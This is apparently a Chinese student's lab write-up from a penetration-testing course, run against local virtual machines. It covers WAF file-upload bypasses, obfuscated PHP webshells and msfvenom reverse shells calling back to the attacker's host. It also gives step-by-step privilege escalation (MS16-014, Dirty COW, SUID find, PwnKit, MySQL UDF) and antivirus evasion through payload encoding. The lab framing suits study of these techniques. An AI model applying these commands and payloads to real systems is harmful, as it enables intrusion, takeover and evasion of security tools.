15-WAF文件上传绕过、网络后门分析&提权

1、WAF绕过文件上传实验。

  • 利用双写filename=;进行绕过

    • filename=;filename="info.php",成功上传实现绕过 (证明WAF和Apache的检测规则+解析逻辑不同)

      image-20241217134010362

  • 利用无用文件头绕过

    • 保留请求数据包原有的格式(在请求头后的空白行和请求正文之间加入大量的无用数据),实现上传绕过

      image-20241217135853189

  • 绕过内容检测

    • 由于上传普通的一句话木马会被拦截,换做上传免杀的一句话木马

      <?php
      	$name = $_GET[1];
      	$name = substr($name,0);
      	eval("echo 123;" . $name."echo 456; " );
      ?>
      

      同样利用brup修改请求数据包,filename双写绕过,成功上传

      image-20241217141629442

      成功执行

      image-20241217143729310

  • 利用00截断绕过

    • 修改文件名为info3.php;.jpg,将;的十六进制改为00,实现前端认为是.jpg格式的文件成功上传

      image-20241217153630136

    • 后端则读取文件时因为00截断,认为上传的是.php格式的文件

      image-20241217154205903

2、网络层面后门分析:课堂上演示了用蚁剑进行攻击并监听流量提取攻击特征,请任选渗透测试基础课程中学习的漏洞进行攻击并监听流量提取攻击特征。

  • 文件上传漏洞

    • 打开Wireshark,选择VMware net8网卡,进行数据包捕获

      image-20241217160456808

    • 在file upload模块上传post.php文件

      ' union select 1,"<?php eval($_POST['a']);?>" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\mysql666.php
      

      image-20241217170600890

    • 语法过滤出IP是10.0.0.154且协议是http的流量包,进行分析

      ip.dst == 10.0.0.154 && http
      

      image-20241217170653035

    • 右击数据包>追踪流>选择http流,即可查看到文件上传的流量包

      image-20241217170817940

    • 分析请求数据包发现上传的文件含有,<?php eval(@$_POST['a']);?>恶意代码的攻击特征

      image-20241217171017965

3、Windows提权实战,请使用除ms15-051以外的其他的exp进行攻击提权。

  • 环境:win7(10.0.0.154)+kali(10.0.0.170)+phpstudy(dvwa)
  1. 拿下webshell

    • 在dvwa靶场 > file upload模块,成功上传内容为<?php eval(@$_POST['a']);?>的post.php文件,使用蚁剑连接image-20241218131514996
  2. MSF制作后门程序

    xxxxxxxxxx1 1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.170 lport=5555 -f exe -o 5555.exe
    

    image-20241218131740094

  3. 通过webshell上传后门程序

    image-20241218131833208

  4. Kali开启监听

    msfconsole
    use exploit/multi/handler
    options
    set lhost 10.0.0.170
    set lport 5555
    set payload windows/x64/meterpreter/reverse_tcp
    run
    
  5. 在windows中运行后门程序,反弹shell

    • 蚁剑 > 在后门程序位置打开终端 > 执行5555.exe(回车)
  6. Kali MSF拿到meterpreter权限

    image-20241218132719048

  7. 对目标机器进行扫描,找到提权漏洞,利用实现提权

    • 扫描补丁信息

      run post/windows/gather/enum_patches
      

      image-20241218133214131

    • 扫描哪些提权exp可以用

      run post/multi/recon/local_exploit_suggester
      

      image-20241218133409274

    • 发现ms16-014可用

      background 	#将拿下的win7权限会话放在后台
      use exploit/windows/local/ms16_014_wmi_recv_notif
      options
      sessions 	#查看会话
      set session 1 	#选择会话1(win7的meterpreter)
      run
      

      image-20241218134352615

    • 成功实现提权

      image-20241218134500793

4、Linux提权实战:脏牛提权、SUID提权、Polkit提权实验。

脏牛提权

  • 环境:metasploitable2-linux + 提权漏洞exp(dirty.c)

    # 下载
    https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
    # 账号密码
    msfadmin/msfadmin
    
  • 提权前为msfadmin权限

    image-20241218191711305

  • 对上传的提权exp,dirty.c使用gcc进行编译

    gcc -pthread dirty.c -o dirty -lcrypt
    
  • 得到编译后的文件dirty,使用进行提权操作

    ./dirty root 	#root为自定义的密码
    

    image-20241218151854757

  • 查看/etc/passwd 发现新出现firefart用户

    image-20241218152041486

  • su firefart,输入密码即root,成功提权至root权限

    image-20241218152251778

SUID提权

  • 环境:docker(sagikazarmark/dvwa)+ chmod u+s /usr/bin/find

    • 查找具有root权限的SUID的文件:发现find命令具有SUID权限

      find / -user root -perm -4000 -print 2>/dev/null
      

      image-20241218160025707

    • 提权前仅是普通用户权限

      image-20241218160659321

    • 直接调用find命令,达到暂时拥有root权限,实现SUID提权

      find / -name post.php -exec "whoami" \;
      

      image-20241218162343296

Polkit本地提权

  • 环境:docker(chenaotian/cve-2021-4034 )

    • 进入chenaotian/cve-2021-4034容器里,找到 /root/exp/CVE-2021-4031/run.sh并运行

      docker run -it chenaotian/cve-2021-4034
      ./root/exp/CVE-2021-4031/run.sh 	#运行run.sh脚本文件
      

      image-20241218164037579

    • 目录下生成了一个exp文件后,进入普遍用户

      su test
      

      image-20241218164549166

    • 以普通用户的身份运行exp文件,实现提权至root权限

      image-20241218170509762

5、数据库提权:UDF提权实验。

  • 环境:Win7 + phpstudy + DVWA

    • 先利用漏洞拿到网站的webshell

      image-20241218174854535

    • 查找数据库账号密码(C:/phpstudy_pro/WWW/DVWA/config/config.inc.php)

      image-20241218174822967

    • 允许数据库远程连接

      grant all privileges on *.* to "root"@"%" identified by "root"; #小皮的数据库管理工具(SQL_Front3.5)中执行命令
      
    • 成功连接数据库后 > 新建查询,收集信息

      show variables like '%compile%'; 	#查询Mysql系统位数
      

      image-20241218175402040

      show variables like '%plugin%'; 	#查看plugin目录位置
      

      image-20241218180705704

  • 制作提权dll

    sqlmap中有编码后的dll文件,路径为:sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_;

    需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py路径为:sqlmap\extra\cloak\cloak.py

    python cloak.py -d -i lib_mysqludf_sys.dll_ 	#解码
    

    image-20241218181209397

  • 将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录下(Mysql默认安装时没有lib\plugin目录,需要新建)

    image-20241218181638678

  • 创建sys_eva函数

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
    

    image-20241218181735330

  • 使用创建好的函数提权

    select sys_eval('whoami');
    

    注意:这里为普通用户是因为站点是由普通用户搭建,所以最高提权也只能到普通用户,想要管理员权限,站点必须由管理员搭建。

    image-20241218181841961

    • win7开启管理员用户(密码为:admin)

      net user administrator /active:yes
      net user administrator admin
      

      image-20241218182445922

    • 切换管理员账号后,再次重启mysql调用sys_eval提权,此次显示则是管理员权限

      image-20241218183119403

6、免杀:MSF编码器结合shellcode加载器进行免杀实验。

  • 环境:kali+win7

    • 未经过免杀的处理的木马,查杀引擎https://www.virustotal.com/gui/home/upload的查杀率

      msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.170 lport=5555 -f exe -o 5555.exe
      

      image-20241219124224713

    • 利用MSF和shellcode加载器进行免杀

      1. 利用编码器生成jpg文件

        # -e 指定编码器为x64/shikata_ga_nai 
        #-i 指定次数
        msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=10.0.0.170 lport=6666 -f raw -o crowsec.jpg
        
      2. 再次进行检测

        crowsec.jpg查杀到的概率大幅度降低

        image-20241219125718542

        想要利用此木马还需要执行文件ms.exe搭配使用,查看ms.exe免杀效果

        image-20241219130155702

      3. 对免杀木马利用

        • msf先开启监听

          msfconsole
          use exploit/multi/handler
          options
          set payload windows/meterpreter/reverse_tcp
          set lhost 10.0.0.170
          set lport 6666 
          run
          
        • 在win7中将crowsec.jpg和ms.exe放到同一目录,点击ms.exe运行

          (如果编码器运行不成功,需要 msvcr110.dll 放到 C:\Windows\SysWOW64 下)

          image-20241219131640242

        • 处理完毕后,再次点击运行ms.exe,成功获取到meterpreter

          image-20241219131855882

posted @ 2024-12-19 13:48  荔枝在敲诈  阅读(253)  评论(0)    收藏  举报